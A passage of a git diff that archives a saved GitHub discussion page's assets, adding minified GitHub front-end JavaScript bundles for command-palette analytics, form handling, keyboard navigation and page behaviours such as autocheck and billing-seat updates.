E={command_palette_session_id:p.sessionId,command_palette_scope:p.query.scope.type,command_palette_mode:p.getMode(),command_palette_title:u,command_palette_position:t==null?void 0:t.position,command_palette_score:t==null?void 0:t.score,command_palette_group:t==null?void 0:t.group,command_palette_item_type:t instanceof s.g?t==null?void 0:t.itemType:t==null?void 0:t.constructor.name};let O;n==="activate"?O=c(t):O=n,(0,o.q)(`command_palette_${O}`,E)}f(i,"sendTrackingEvent");function c(n){var t;return n instanceof d.i?"access_policy_executed":n instanceof _.d||n instanceof l.U||n instanceof m.Z?"command_executed":n instanceof r.s?((t=n.element)==null?void 0:t.newTabOpened)?"jump_to_new_tab":"jump_to":"activate"}f(c,"activateTrackingEventType")},49815:(y,v,a)=>{a.d(v,{$:()=>s,c:()=>r});var d=a(15205);const _=(0,d.Z)(m);function m(){var o,i;return(((i=(o=document.head)==null?void 0:o.querySelector('meta[name="enabled-features"]'))==null?void 0:i.content)||"").split(",")}f(m,"enabledFeatures");const r=(0,d.Z)(l);function l(o){return _().indexOf(o)!==-1}f(l,"isEnabled");const s={isFeatureEnabled:r}},30481:(y,v,a)=>{a.d(v,{Y:()=>o,q:()=>i});var d=a(88149),_=a(86058);const m="dimension_";let r;const l=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const c=(0,d.n)("octolytics");delete c.baseContext,r=new _.R(c)}catch{}function s(c){const n=(0,d.n)("octolytics").baseContext||{};if(n){delete n.app_id,delete n.event_url,delete n.host;for(const u in n)u.startsWith(m)&&(n[u.replace(m,"")]=n[u],delete n[u])}const t=document.querySelector("meta[name=visitor-payload]");if(t){const u=JSON.parse(atob(t.content));Object.assign(n,u)}const p=new URLSearchParams(window.location.search);for(const[u,E]of p)l.includes(u.toLowerCase())&&(n[u]=E);return Object.assign(n,c)}f(s,"extendBaseContext");function o(c){r==null||r.sendPageView(s(c))}f(o,"sendPageView");function i(c,n){var t,p;const u=(p=(t=document.head)==null?void 0:t.querySelector('meta[name="current-catalog-service"]'))==null?void 0:p.content,E=u?{service:u}:{};for(const[O,M]of Object.entries(n))M!=null&&(E[O]=`${M}`);r==null||r.sendEvent(c||"unknown",s(E))}f(i,"sendEvent")},88513:(y,v,a)=>{a.d(v,{Q:()=>d,v:()=>_});function d(m,r={}){if(m.match(/^https?:/))throw new Error("Can not make cross-origin requests from verifiedFetch");const l={...r.headers,"GitHub-Verified-Fetch":"true","X-Requested-With":"XMLHttpRequest"};return fetch(m,{...r,headers:l})}f(d,"verifiedFetch");function _(m,r){var l;const o={...(l=r==null?void 0:r.headers)!=null?l:{},Accept:"application/json","Content-Type":"application/json"},i=(r==null?void 0:r.body)?JSON.stringify(r.body):void 0;return d(m,{...r,body:i,headers:o})}f(_,"verifiedFetchJSON")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd-a2f1fe6aff70.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js new file mode 100644 index 0000000..ce79225 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var $=Object.defineProperty;var n=(j,y)=>$(j,"name",{value:y,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],{7679:(j,y,h)=>{h.d(y,{H:()=>c,v:()=>p});var E=h(59753);function p(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!1)}n(p,"showGlobalError");function c(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!0)}n(c,"hideGlobalError"),(0,E.on)("deprecatedAjaxError","[data-remote]",function(s){const f=s.detail,{error:L,text:m}=f;s.currentTarget===s.target&&(L==="abort"||L==="canceled"||(/{h.d(y,{Ty:()=>p,YE:()=>c,Zf:()=>s});var E=h(11793);const p=n(()=>{const f=document.querySelector("meta[name=keyboard-shortcuts-preference]");return f?f.content==="all":!0},"areCharacterKeyShortcutsEnabled"),c=n(f=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(f)||f.includes("Alt")&&f.includes("Shift"),"isNonCharacterKeyShortcut"),s=n(f=>{const L=(0,E.EL)(f);return p()?!0:c(L)},"isShortcutAllowed")},75371:(j,y,h)=>{h.d(y,{VZ:()=>p,_C:()=>c,cv:()=>E,oE:()=>s});function E(m){const a=m.getBoundingClientRect();return{top:a.top+window.pageYOffset,left:a.left+window.pageXOffset}}n(E,"offset");function p(m){let a=m;const l=a.ownerDocument;if(!l||!a.offsetParent)return;const g=l.defaultView.HTMLElement;if(a!==l.body){for(;a!==l.body;){if(a.parentElement instanceof g)a=a.parentElement;else return;const{position:C,overflowY:T,overflowX:r}=getComputedStyle(a);if(C==="fixed"||T==="auto"||r==="auto"||T==="scroll"||r==="scroll")break}return a instanceof Document?null:a}}n(p,"overflowParent");function c(m,a){let l=a;const g=m.ownerDocument;if(!g)return;const C=g.documentElement;if(!C||m===C)return;const T=s(m,l);if(!T)return;l=T._container;const r=l===g.documentElement&&g.defaultView?{top:g.defaultView.pageYOffset,left:g.defaultView.pageXOffset}:{top:l.scrollTop,left:l.scrollLeft},d=T.top-r.top,v=T.left-r.left,w=l.clientHeight,k=l.clientWidth,H=w-(d+m.offsetHeight),P=k-(v+m.offsetWidth);return{top:d,left:v,bottom:H,right:P,height:w,width:k}}n(c,"overflowOffset");function s(m,a){let l=m;const g=l.ownerDocument;if(!g)return;const C=g.documentElement;if(!C)return;const T=g.defaultView.HTMLElement;let r=0,d=0;const v=l.offsetHeight,w=l.offsetWidth;for(;!(l===g.body||l===a);)if(r+=l.offsetTop||0,d+=l.offsetLeft||0,l.offsetParent instanceof T)l=l.offsetParent;else return;let k,H,P;if(!a||a===g||a===g.defaultView||a===g.documentElement||a===g.body)P=C,k=f(g.body,C),H=L(g.body,C);else if(a instanceof T)P=a,k=a.scrollHeight,H=a.scrollWidth;else return;const x=k-(r+v),S=H-(d+w);return{top:r,left:d,bottom:x,right:S,_container:P}}n(s,"positionedOffset");function f(m,a){return Math.max(m.scrollHeight,a.scrollHeight,m.offsetHeight,a.offsetHeight,a.clientHeight)}n(f,"getDocumentHeight");function L(m,a){return Math.max(m.scrollWidth,a.scrollWidth,m.offsetWidth,a.offsetWidth,a.clientWidth)}n(L,"getDocumentWidth")},56238:(j,y,h)=>{h.d(y,{Bt:()=>f,DN:()=>a,KL:()=>C,Se:()=>m,qC:()=>T,sw:()=>l});var E=h(59753),p=h(2061),c=h(7679);(0,E.on)("click",".js-remote-submit-button",async function(r){const v=r.currentTarget.form;r.preventDefault();let w;try{w=await fetch(v.action,{method:v.method,body:new FormData(v),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}w&&!w.ok&&(0,c.v)()});function s(r,d,v){return r.dispatchEvent(new CustomEvent(d,{bubbles:!0,cancelable:v}))}n(s,"fire");function f(r,d){d&&(L(r,d),(0,p.j)(d)),s(r,"submit",!0)&&r.submit()}n(f,"requestSubmit");function L(r,d){if(!(r instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(d instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(d.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!r||r!==d.form)throw new Error("The specified element is not owned by the form element.")}n(L,"checkButtonValidity");function m(r,d){if(typeof d=="boolean")if(r instanceof HTMLInputElement)r.checked=d;else throw new TypeError("only checkboxes can be set to boolean value");else{if(r.type==="checkbox")throw new TypeError("checkbox can't be set to string value");r.value=d}s(r,"change",!1)}n(m,"changeValue");function a(r,d){for(const v in d){const w=d[v],k=r.elements.namedItem(v);(k instanceof HTMLInputElement||k instanceof HTMLTextAreaElement)&&(k.value=w)}}n(a,"fillFormValues");function l(r){if(!(r instanceof HTMLElement))return!1;const d=r.nodeName.toLowerCase(),v=(r.getAttribute("type")||"").toLowerCase();return d==="select"||d==="textarea"||d==="input"&&v!=="submit"&&v!=="reset"||r.isContentEditable}n(l,"isFormField");function g(r){return new URLSearchParams(r)}n(g,"searchParamsFromFormData");function C(r,d){const v=new URLSearchParams(r.search),w=g(d);for(const[k,H]of w)v.append(k,H);return v.toString()}n(C,"combineGetFormSearchParams");function T(r){return g(new FormData(r)).toString()}n(T,"serialize")},32750:(j,y,h)=>{h.d(y,{QZ:()=>P,ZH:()=>V,jK:()=>x,T_:()=>F,Sw:()=>X,VF:()=>U,VH:()=>Y});var E=h(6741),p=h(59753),c=h(75371),s=h(11793),f=h(5287),L=h(64463);function m(e,t){let i=e;const o=e.ownerDocument;(i===o||i===o.defaultView||i===o.documentElement||i===o.body)&&(i=o);const u=o.defaultView.Document;if(i instanceof u){const M=t.top!=null?t.top:o.defaultView.pageYOffset,B=t.left!=null?t.left:o.defaultView.pageXOffset;o.defaultView.scrollTo(B,M);return}const b=o.defaultView.HTMLElement;if(!(i instanceof b))throw new Error("invariant");i.scrollTop=t.top,t.left!=null&&(i.scrollLeft=t.left)}n(m,"scrollTo");var a=h(5878);const l=navigator.userAgent.match(/Macintosh/),g=l?"metaKey":"ctrlKey",C=l?"Meta":"Control";let T=!1,r={x:0,y:0};(0,L.N7)(".js-navigation-container:not(.js-navigation-container-no-mouse)",{subscribe:e=>(0,E.qC)((0,E.RB)(e,"mouseover",d),(0,E.RB)(e,"mouseover",v))});function d(e){e instanceof MouseEvent&&((r.x!==e.clientX||r.y!==e.clientY)&&(T=!1),r={x:e.clientX,y:e.clientY})}n(d,"onContainerMouseMove");function v(e){if(T)return;const t=e.currentTarget,{target:i}=e;if(!(i instanceof Element)||!(t instanceof HTMLElement)||!t.closest(".js-active-navigation-container"))return;const o=i.closest(".js-navigation-item");o&&_(o,t)}n(v,"onContainerMouseOver");let w=0;(0,L.N7)(".js-active-navigation-container",{add(){w++,w===1&&document.addEventListener("keydown",k)},remove(){w--,w===0&&document.removeEventListener("keydown",k)}});function k(e){if(e.target!==document.body&&e.target instanceof HTMLElement&&!e.target.classList.contains("js-navigation-enable"))return;T=!0;const t=I();let i=!1;if(t){const o=t.querySelector(".js-navigation-item.navigation-focus")||t;i=(0,p.f)(o,"navigation:keydown",{hotkey:(0,s.EL)(e),originalEvent:e,originalTarget:e.target})}i||e.preventDefault()}n(k,"fireCustomKeydown"),(0,p.on)("navigation:keydown",".js-active-navigation-container",function(e){const t=e.currentTarget,i=e.detail.originalTarget.matches("input, textarea"),o=e.target;if(!!(0,f.Zf)(e.detail.originalEvent)){if(o.classList.contains("js-navigation-item"))if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":A(o,t);break;case"ArrowDown":O(o,t);break;case"Enter":case`${C}+Enter`:R(o,e.detail.originalEvent[g]);break}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t);break;case"Alt+v":G(o,t);break;case"Control+v":N(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"J":O(o,t);break;case"k":case"K":A(o,t);break;case"o":case"Enter":case`${C}+Enter`:R(o,e.detail[g]);break}}else{const u=D(t)[0];if(u)if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowDown":_(u,t)}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+v":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":_(u,t)}}}if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":case"ArrowDown":e.preventDefault();break;case"Enter":e.preventDefault()}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":case"Control+v":case"Alt+v":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"k":case"o":e.preventDefault();break;case"Enter":case`${g}+Enter`:e.preventDefault()}}}});function H(e){const t=e.modifierKey||e.altKey||e.ctrlKey||e.metaKey;(0,p.f)(e.currentTarget,"navigation:open",{modifierKey:t,shiftKey:e.shiftKey})||e.preventDefault()}n(H,"fireOpen"),(0,p.on)("click",".js-active-navigation-container .js-navigation-item",function(e){H(e)}),(0,p.on)("navigation:keyopen",".js-active-navigation-container .js-navigation-item",function(e){const t=e.currentTarget.classList.contains("js-navigation-open")?e.currentTarget:e.currentTarget.querySelector(".js-navigation-open");t instanceof HTMLAnchorElement?(e.detail.modifierKey?(window.open(t.href,"_blank"),window.focus()):t.dispatchEvent(new MouseEvent("click",{bubbles:!0,cancelable:!0}))&&t.click(),e.preventDefault()):H(e)});function P(e){const t=I();e!==t&&(t!==null&&x(t),e==null||e.classList.add("js-active-navigation-container"))}n(P,"activate");function x(e){e.classList.remove("js-active-navigation-container")}n(x,"deactivate");const S=[];function U(e){const t=I();t&&S.push(t),P(e)}n(U,"push");function X(e){x(e),V(e);const t=S.pop();t&&P(t)}n(X,"pop");function F(e,t){const i=t||e,o=D(e)[0],u=i.closest(".js-navigation-item")||o;if(P(e),u instanceof HTMLElement){if(_(u,e))return;const M=(0,c.VZ)(u);W(M,u)}}n(F,"navigation_focus");function V(e){const t=e.querySelectorAll(".js-navigation-item.navigation-focus");for(const i of t)i.classList.remove("navigation-focus")}n(V,"clear");function Y(e,t){V(e),F(e,t)}n(Y,"refocus");function A(e,t){const i=D(t),o=i.indexOf(e),u=i[o-1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(A,"cursorUp");function O(e,t){const i=D(t),o=i.indexOf(e),u=i[o+1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(O,"cursorDown");function G(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o-1])&&(M=(0,c._C)(b,u))&&M.top>=0;)o--;if(b){if(_(b,t))return;K(u,b)}}n(G,"pageUp");function N(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o+1])&&(M=(0,c._C)(b,u))&&M.bottom>=0;)o++;if(b){if(_(b,t))return;K(u,b)}}n(N,"pageDown");function R(e,t=!1){(0,p.f)(e,"navigation:keyopen",{modifierKey:t})}n(R,"keyOpen");function _(e,t){return(0,p.f)(e,"navigation:focus")?(V(t),e.classList.add("navigation-focus"),!1):!0}n(_,"focusItem");function I(){return document.querySelector(".js-active-navigation-container")}n(I,"getActiveContainer");function D(e){const t=[];for(const i of e.querySelectorAll(".js-navigation-item"))i instanceof HTMLElement&&(0,a.Z)(i)&&t.push(i);return t}n(D,"getItems");function Z(e){return e.getAttribute("data-navigation-scroll")||"item"}n(Z,"getScrollStyle");function K(e,t,i="smooth"){const o=(0,c._C)(t,e);!o||(o.bottom<=0?t.scrollIntoView({behavior:i,block:"start"}):o.top<=0&&t.scrollIntoView({behavior:i,block:"end"}))}n(K,"scrollPageTo");function W(e,t){const i=(0,c.oE)(t,e),o=(0,c._C)(t,e);if(!(i==null||o==null))if(o.bottom<=0&&document.body){const b=(e.offsetParent!=null?e.scrollHeight:document.body.scrollHeight)-(i.bottom+o.height);m(e,{top:b})}else o.top<=0&&m(e,{top:i.top})}n(W,"scrollItemTo")},2061:(j,y,h)=>{h.d(y,{j:()=>E,u:()=>p});function E(c){const s=c.closest("form");if(!(s instanceof HTMLFormElement))return;let f=p(s);if(c.name){const L=c.matches("input[type=submit]")?"Submit":"",m=c.value||L;f||(f=document.createElement("input"),f.type="hidden",f.classList.add("is-submit-button-value"),s.prepend(f)),f.name=c.name,f.value=m}else f&&f.remove()}n(E,"persistSubmitButtonValue");function p(c){const s=c.querySelector("input.is-submit-button-value");return s instanceof HTMLInputElement?s:null}n(p,"findPersistedSubmitButtonValue")},6741:(j,y,h)=>{h.d(y,{RB:()=>p,qC:()=>c,w0:()=>E});class E{constructor(f){this.closed=!1,this.unsubscribe=()=>{f(),this.closed=!0}}}n(E,"Subscription");function p(s,f,L,m={capture:!1}){return s.addEventListener(f,L,m),new E(()=>{s.removeEventListener(f,L,m)})}n(p,"fromEvent");function c(...s){return new E(()=>{for(const f of s)f.unsubscribe()})}n(c,"compose")},5878:(j,y,h)=>{h.d(y,{Z:()=>p});function E(c){return c.offsetWidth<=0&&c.offsetHeight<=0}n(E,"hidden");function p(c){return!E(c)}n(p,"visible")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts-e498b20a5640.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js new file mode 100644 index 0000000..eecbc9b --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js @@ -0,0 +1,101 @@ +(()=>{var Jl=Object.defineProperty;var s=($,D)=>Jl($,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["behaviors"],{56851:($,D,f)=>{"use strict";var T=f(7679),c=f(59753);(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){e.currentTarget===e.target&&(e.defaultPrevented||e.currentTarget.classList.add("loading"))}),(0,c.on)("deprecatedAjaxComplete","[data-remote]",function(e){e.currentTarget===e.target&&e.currentTarget.classList.remove("loading")});var C=f(65935);(0,C.AC)("form.js-ajax-pagination, .js-ajax-pagination form",async function(e,t){const n=e.closest(".js-ajax-pagination");let o;try{o=await t.html()}catch(r){if(r.response&&r.response.status===404){n.remove();return}else throw r}n.replaceWith(o.html),(0,c.f)(e,"page:loaded")});var _=f(30481);const x="analytics.click";(0,c.on)("click","[data-analytics-event]",e=>{const n=e.currentTarget.getAttribute("data-analytics-event");if(!n)return;const o=JSON.parse(n);(0,_.q)(x,o)});var u=f(64463);const g=["system","disabled"].map(e=>`html[data-a11y-animated-images="${e}"] img[data-animated-image]`).join(", ");(0,u.N7)(g,e=>{if(!(e instanceof HTMLImageElement)||e.closest("a")&&!(e.parentElement instanceof HTMLAnchorElement))return;let t=e.parentElement,n=null;if(t instanceof HTMLAnchorElement){if(t.childElementCount>1)return;n=t,n.setAttribute("data-target","animated-image.originalLink"),t=n.parentElement}e.removeAttribute("data-animated-image"),e.setAttribute("data-target","animated-image.originalImage");const o=n?n.cloneNode(!0):e.cloneNode(!0),r=document.createElement("animated-image");r.appendChild(o),t==null||t.replaceChild(r,n||e)});var h=f(22485);document.addEventListener("pjax:start",function(){(0,h.x)("Loading page")}),document.addEventListener("pjax:error",function(){(0,h.x)("Loading failed")}),document.addEventListener("pjax:end",function(){(0,h.x)("Loading complete")});var d=f(52641);const m=new WeakMap;(0,u.N7)("auto-check",function(e){if(e.classList.contains("js-prevent-default-behavior"))return;const t=e.querySelector("input");if(!t)return;const n=t.closest(".form-group")||e,o=t.form;let r;function i(){return r||(r=`input-check-${(Math.random()*1e4).toFixed(0)}`),r}s(i,"generateId");const a=t.getAttribute("aria-describedby");t.addEventListener("focusout:delay",()=>{t.setAttribute("aria-describedby",[r,a].join(" "))});const l=n.querySelector("p.note");l&&(l.id||(l.id=i()),m.set(l,l.innerHTML)),e.addEventListener("loadstart",()=>{p(t,n),n.classList.add("is-loading"),t.classList.add("is-autocheck-loading"),(0,d.G)(o)}),e.addEventListener("loadend",()=>{n.classList.remove("is-loading"),t.classList.remove("is-autocheck-loading")}),t.addEventListener("auto-check-success",async y=>{t.classList.add("is-autocheck-successful"),n.classList.add("successed"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(!!S){if(l instanceof HTMLElement)l.innerHTML=S,(0,h.N)(l);else{const R=w.status===200,I=n.tagName==="DL"?"dd":"div",F=document.createElement(I);F.id=i(),F.classList.add(R?"success":"warning"),F.innerHTML=S,n.append(F),n.classList.add(R?"successed":"warn"),(0,h.N)(F),R&&(F.hidden=document.activeElement!==t)}(0,c.f)(t,"auto-check-message-updated")}}),t.addEventListener("auto-check-error",async y=>{t.classList.add("is-autocheck-errored"),n.classList.add("errored"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(l instanceof HTMLElement)l.innerHTML=S||"Something went wrong",(0,h.N)(l);else{const R=n.tagName==="DL"?"dd":"div",I=document.createElement(R);I.id=i(),I.classList.add("error"),I.innerHTML=S||"Something went wrong",n.append(I),(0,h.N)(I)}}),t.addEventListener("input",()=>{t.removeAttribute("aria-describedby"),t.value||p(t,n)}),t.addEventListener("blur",()=>{const y=n.querySelector(".success");y&&(y.hidden=!0)}),t.addEventListener("focus",()=>{const y=n.querySelector(".success");y&&(y.hidden=!1)}),o.addEventListener("reset",()=>{p(t,n)})});function p(e,t){var n,o,r,i,a,l;t.classList.remove("is-loading","successed","errored","warn"),e.classList.remove("is-autocheck-loading","is-autocheck-successful","is-autocheck-errored");const y=t.querySelector("p.note");if(y){const w=m.get(y);w&&(y.innerHTML=w)}t.tagName==="DL"?((n=t.querySelector("dd.error"))==null||n.remove(),(o=t.querySelector("dd.warning"))==null||o.remove(),(r=t.querySelector("dd.success"))==null||r.remove()):((i=t.querySelector("div.error"))==null||i.remove(),(a=t.querySelector("div.warning"))==null||a.remove(),(l=t.querySelector("div.success"))==null||l.remove())}s(p,"autocheck_reset");var b=f(46481);(0,u.N7)("auto-complete",function(e){e.addEventListener("loadstart",()=>e.classList.add("is-auto-complete-loading")),e.addEventListener("loadend",()=>e.classList.remove("is-auto-complete-loading"))}),(0,u.N7)("auto-complete",{constructor:b.Z,initialize:v}),(0,c.on)("auto-complete-change","auto-complete",function(e){v(e.currentTarget)});function v(e){const t=e.closest("form");if(!t)return;const n=t.querySelector(".js-auto-complete-button");n instanceof HTMLButtonElement&&(n.disabled=!e.value)}s(v,"toggleSubmitButton");var L=f(56238),q=f(12981),E=f(6170);let A=null;(0,c.on)("submit","[data-autosearch-results-container]",async function(e){const t=e.currentTarget;if(!(t instanceof HTMLFormElement))return;e.preventDefault(),A==null||A.abort(),t.classList.add("is-sending");const n=new URL(t.action,window.location.origin),o=t.method,r=new FormData(t),i=(0,L.KL)(n,r);let a=null;o==="get"?n.search=i:a=r;const{signal:l}=A=new AbortController,y=new Request(n.toString(),{method:o,body:a,signal:l,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});let w;try{w=await fetch(y)}catch{}if(t.classList.remove("is-sending"),!w||!w.ok||l.aborted)return;const S=t.getAttribute("data-autosearch-results-container"),R=S?document.getElementById(S):null;R&&(R.innerHTML="",R.appendChild((0,q.r)(document,await w.text()))),(0,E.lO)(null,"",`?${i}`)});var k=f(73185),j=f(45075);(0,j.ZG)("input[data-autoselect], textarea[data-autoselect]",async function(e){await(0,k.gJ)(),e.select()});var P=f(46263),M=f(6741);(0,c.on)("change","form[data-autosubmit]",function(e){const t=e.currentTarget;(0,L.Bt)(t)}),(0,c.on)("change","input[data-autosubmit], select[data-autosubmit]",O);function O(e){const t=e.target;if(!(t instanceof HTMLInputElement)&&!(t instanceof HTMLSelectElement))return;const n=t.form;(0,L.Bt)(n)}s(O,"autosubmit_submit");const V=(0,P.D)(O,300);(0,u.N7)("input[data-throttled-autosubmit]",{subscribe:e=>(0,M.RB)(e,"input",V)});async function H(e){const t=e.getAttribute("data-url")||"";if(await N(t)){const o=e.getAttribute("data-gravatar-text");o!=null&&(e.textContent=o)}}s(H,"detectGravatar"),(0,u.N7)(".js-detect-gravatar",function(e){H(e)});async function N(e){const t=e;if(!t)return!1;try{const n=await fetch(t,{headers:{Accept:"application/json"}});return n.ok?(await n.json()).has_gravatar:!1}catch{return!1}}s(N,"fetchGravatarInfo");var K=f(51989),W=f(41307),U=f(49815),te=f(66899),le=f(5878);const ae=[".unstyled-additional-seats-price-obj",".unstyled-base-price-obj",".unstyled-final-price-obj"];function we(e){return typeof e=="string"||typeof e=="number"?!1:"default_currency"in e&&"local_currency"in e}s(we,"isAPriceStruct");let ue=null;(0,c.on)("click",".js-org-signup-duration-change",e=>{e.preventDefault();const n=e.currentTarget.getAttribute("data-plan-duration");Yr(n),ts(n);for(const o of document.querySelectorAll(".js-seat-field"))Be(o);Qr()}),(0,c.on)("change",".js-org-signup-duration-toggle",async function({currentTarget:e}){const t=new URL(e.getAttribute("data-url"),window.location.origin);if((0,U.c)("TURBO")){const{visit:n}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395));n(t)}else{const n=document.getElementById("js-pjax-container");(0,W.ZP)({url:t.toString(),container:n})}});async function Be(e){const t=e.getAttribute("data-item-name")||"items",n=e.value,o=new URL(e.getAttribute("data-url"),window.location.origin),r=new URLSearchParams(o.search.slice(1)),i=parseInt(e.getAttribute("data-item-minimum"))||0,a=parseInt(e.getAttribute("data-item-maximum"))||300,l=parseInt(e.getAttribute("data-item-count"))||0,y=Math.max(i,parseInt(n)||0),w=y>a,S=document.querySelector(".js-downgrade-button"),R=document.getElementById("downgrade-disabled-message");S instanceof HTMLButtonElement&&(S.disabled=y===l),R instanceof HTMLElement&&S instanceof HTMLButtonElement&&(R.hidden=!S.disabled),r.append(t,y.toString()),document.querySelector(".js-transform-user")&&r.append("transform_user","1"),o.search=r.toString(),ue==null||ue.abort();const{signal:F}=ue=new AbortController;let X=null;try{const Z=await fetch(o.toString(),{signal:F,headers:{Accept:"application/json"}});if(!Z.ok)return;X=await Z.json()}catch{}if(F.aborted||!X)return;const oe=document.querySelector(".js-contact-us");oe&&oe.classList.toggle("d-none",!w);const Q=document.querySelector(".js-cost-info");Q&&(Q.hidden=w);const se=document.querySelector(".js-payment-summary");se&&se.classList.toggle("d-none",w);const ce=document.querySelector(".js-submit-billing");ce instanceof HTMLElement&&(ce.hidden=w);const de=document.querySelector(".js-billing-section");de&&de.classList.toggle("has-removed-contents",X.free||X.is_enterprise_cloud_trial);const Y=document.querySelector(".js-upgrade-info");Y&&Y.classList.toggle("d-none",y<=0);const He=document.querySelector(".js-downgrade-info");He&&He.classList.toggle("d-none",y>=0);const B=document.querySelector(".js-extra-seats-line-item");B&&B.classList.toggle("d-none",X.no_additional_seats),document.querySelector(".js-seat-field")&&es(n);const z=document.querySelector(".js-minimum-seats-disclaimer");z&&(z.classList.toggle("tooltipped",X.seats===5),z.classList.toggle("tooltipped-nw",X.seats===5));const ee=X.selectors;for(const Z in ee)for(const ie of document.querySelectorAll(Z))Jr(Z)&&we(ee[Z])?(ie.textContent="",ie.appendChild(On("default-currency",ee[Z].default_currency)),ie.appendChild(On("local-currency",ee[Z].local_currency))):ie.textContent=ee[Z];(0,E.lO)((0,W.y0)(),"",X.url)}s(Be,"updateTotals");function Jr(e){return ae.includes(e)}s(Jr,"isPriceSelector");function On(e,t){const n=document.createElement("span");return n.classList.add(e),n.textContent=t,n}s(On,"priceCurrencyTag");function Qr(){for(const e of document.querySelectorAll(".js-unit-price"))e.hidden=!e.hidden}s(Qr,"toggleDurationUnitPrices");function Yr(e){const t=e==="year"?"month":"year";for(const o of document.querySelectorAll(".js-plan-duration-text"))o.textContent=e;for(const o of document.querySelectorAll(".unstyled-available-plan-duration-adjective"))o.textContent=`${e}ly`;for(const o of document.querySelectorAll(".js-org-signup-duration-change"))o.setAttribute("data-plan-duration",t);const n=document.getElementById("signup-plan-duration");n&&(n.value=e)}s(Yr,"updateDurationFields");function es(e){var t;for(const n of document.querySelectorAll(".js-seat-field")){const o=n.getAttribute("data-item-max-seats"),r=(t=n==null?void 0:n.parentNode)==null?void 0:t.querySelector(".Popover");o&&o.length&&(parseInt(e,10)>parseInt(o,10)?(n.classList.add("color-border-danger-emphasis"),r==null||r.removeAttribute("hidden")):(n.classList.remove("color-border-danger-emphasis"),r==null||r.setAttribute("hidden","true")))}}s(es,"updateSeatFields");function ts(e){for(const t of document.querySelectorAll(".js-seat-field")){const n=new URL(t.getAttribute("data-url"),window.location.origin),o=new URLSearchParams(n.search.slice(1));o.delete("plan_duration"),o.append("plan_duration",e),n.search=o.toString(),t.setAttribute("data-url",n.toString())}}s(ts,"updateSeatFieldURLs"),(0,u.N7)(".js-addon-purchase-field",{constructor:HTMLInputElement,add(e){(0,le.Z)(e)&&Be(e),(0,te.oq)(e,function(){Be(e)})}}),(0,u.N7)(".js-addon-downgrade-field",{constructor:HTMLSelectElement,add(e){(0,le.Z)(e)&&Be(e),e.addEventListener("change",function(){Be(e)})}});function ns(e){const t=document.querySelector(".js-addon-purchase-field"),n=e.target.querySelector("input:checked");if(t instanceof HTMLInputElement&&n instanceof HTMLInputElement){const o=n.getAttribute("data-upgrade-url");o&&(t.setAttribute("data-url",o),t.value="0",Be(t))}}s(ns,"handleOrgChange"),(0,c.on)("details-menu-selected",".js-organization-container",ns,{capture:!0}),(0,j.q6)(".js-csv-filter-field",function(e){const t=e.target.value.toLowerCase();for(const n of document.querySelectorAll(".js-csv-data tbody tr"))n instanceof HTMLElement&&(!n.textContent||(n.hidden=!!t&&!n.textContent.toLowerCase().includes(t)))}),(0,u.N7)(".js-blob-header.is-stuck",{add(e){Nn(e)},remove(e){Nn(e,!0)}});function Nn(e,t=!1){const 